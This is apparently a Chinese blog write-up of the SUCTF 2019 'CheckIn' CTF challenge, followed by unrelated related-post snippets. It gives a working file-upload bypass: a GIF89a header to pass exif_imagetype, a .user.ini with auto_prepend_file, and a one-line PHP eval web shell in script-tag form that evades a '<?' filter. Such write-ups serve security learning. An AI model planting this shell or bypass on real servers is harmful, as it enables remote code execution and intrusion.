SUCTF checkin
复现的时候看了源码......
发现文件上传时会对文件内容以及后缀进行严格的检测

同时还有exif_imagetype 这个就用图片马就行绕过,绕过文件后缀试一下传图片马解析为php
但是常规解析漏洞操作失败了
还有个方法是 .htaccess文件构成的PHP后门 但这个只针对于apache
搜到了一个方法,利用.user.ini 上传php后门

两个配置项::这个和.htacces利用的一样

利用的方法也出来了:
上传.user.ini,利用上面这两个设置,将图片马包含在一个php文件中
先上传.user.ini 这次利用的是 auto_prepend_file ----(这个是将我们的文件包含在另一个php文件的顶部,后面那个设置是包含在底部)
GIF89a auto_prepend_file=monica.jpg
hh第一次传的时候忘记加图片头了...

这里我们上传目录下刚好有个index.php,可以用他来包含我们的图片马
这个题有过滤写php马的时候 不能出现<?
那就用标签绕过
GIF89a <script language='php'>@eval($_POST['cmd']);</script>

用菜刀连接....或着直接传个cat /flag
自己的感想,这个方法感觉利用的范围还是蛮多的不像是.htaccess文件构成的PHP后门 只针对Apache 但是目录下必须要有个php文件,这个可太不容易了,这题故意的,在平常应用的话应该是要配合一些目录遍历漏洞一起进行getshell
SUCTF checkin的更多相关文章
- 刷题记录:[SUCTF 2019]CheckIn
目录 刷题记录:[SUCTF 2019]CheckIn 一.涉及知识点 1.利用.user.ini上传\隐藏后门 2.绕过exif_imagetype()的奇技淫巧 二.解题方法 刷题记录:[SUCT ...
- [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)
简介 原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn 考察知识点:上传绕过..user.ini 线上平台:h ...
- BUUCTF | [SUCTF 2019]CheckIn
感觉这题师傅们已经写得很详细了,我就做一个思路梳理吧,顺道学一波.user.ini 步骤: 1.上传一个“.user.ini”文件 2.上传自己的马“a.jpg” 3.菜刀连接 "http: ...
- [SUCTF 2019]CheckIn
进入靶场只有一个文件上传界面,上传php一句话木马提示非法后缀. 尝试利用php后缀的多样性绕过,发现都被过滤掉了,先把php改成.jpg的图片,提示说有问号在内容中. php后缀的多样性:php语言 ...
- [BUUOJ记录] [SUCTF 2019]CheckIn
比较经典的一道文件上传题,考察.user.ini控制解析图片方式 打开题目给出了上传功能,源代码里也没有任何提示,看来需要先测试一下过滤 前后依次提交了php,php5,php7,phtml拓展名的文 ...
- 刷题[SUCTF 2019]CheckIn
解题思路 打开网页发现只是简单做了一个上传界面,朴实无华 上传一个php文件,发现非法后缀. 上传一个.htaccess文件,发现,爆出很重要的信息 exif_imagetype函数通过检测文件头来检 ...
- Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx
Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...
- 奇葩问题:This file could not be checked in because the original version of the file on the server was moved or deleted. A new version of this file has been saved to the server, but your check-in comments were not saved
"This file could not be checked in because the original version of the file on the server was m ...
- 持续集成之戏说Check-in Dance
尽管Thoughtworks的首席科学家Martion folwer 为“持续集成 ” 下了定义,但由于自身背景与经历的不同,每个人对其都有不同的理解.从狭义上讲,持续集成可以认为是一种基于某种或者某 ...
随机推荐
- Django获取当前时间和Linux系统时间不一致
配置文件中修改:TIME_ZONE的值改为上海,USE_TZ的值改为False,重启项目即可
- [LC] 221. Maximal Square
Given a 2D binary matrix filled with 0's and 1's, find the largest square containing only 1's and re ...
- [LC] 64. Minimum Path Sum
Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right which ...
- bat连接映射盘
net use h: \\IP地址\目录 "密码" /user:"用户名"
- 微信小游戏排行榜页滚动查看排行榜(canvas指定区域溢出滚动,懒渲染)
在微信小游戏中,好友排名数据是能在关系数据域操作,整个关系数据域只会返回一个最终的sharedCanvas,并且这个canvas不能调用toDataURL()方法,所以要展示好友排行榜的话只能在关系数 ...
- chap1-HttpRequest测试类
# HttpRequest测试类, 封装请求方法 import requests class HttpRequest: def http_request(self, url, method, data ...
- Ubuntu14-04安装redis和php5-redis扩展
PS:在系统安装完后最好执行下列命令更新下软件 实际上只要软件源没什么问题的话,安装什么软件都是OK的. 来开始安装Redis吧~~ 一:如果你的其他都OK的话,可以执行下列命令直接安装 sudo a ...
- JavaScript常见排序算法
1.冒泡排序 function bubble_sort(arr) { if (arr.length <= 1) { return arr; } var len = arr.length; for ...
- 关于sql拼接的知识点 where1=1
String sql="select * from tab_route where 1 = 1 "; 这样不会报错,而且可以根据情况,再去拼接sql 可以使用if(){}else{ ...
- [PyTorch入门之60分钟入门闪击战]之自动推倒
AUTOGRAD: AUTOMATIC DIFFERENTIATION(自动分化) 来源于这里. autograd包是PyTorch中所有神经网络的核心.首先我们先简单地了解下它,然后我们将训练我们的 ...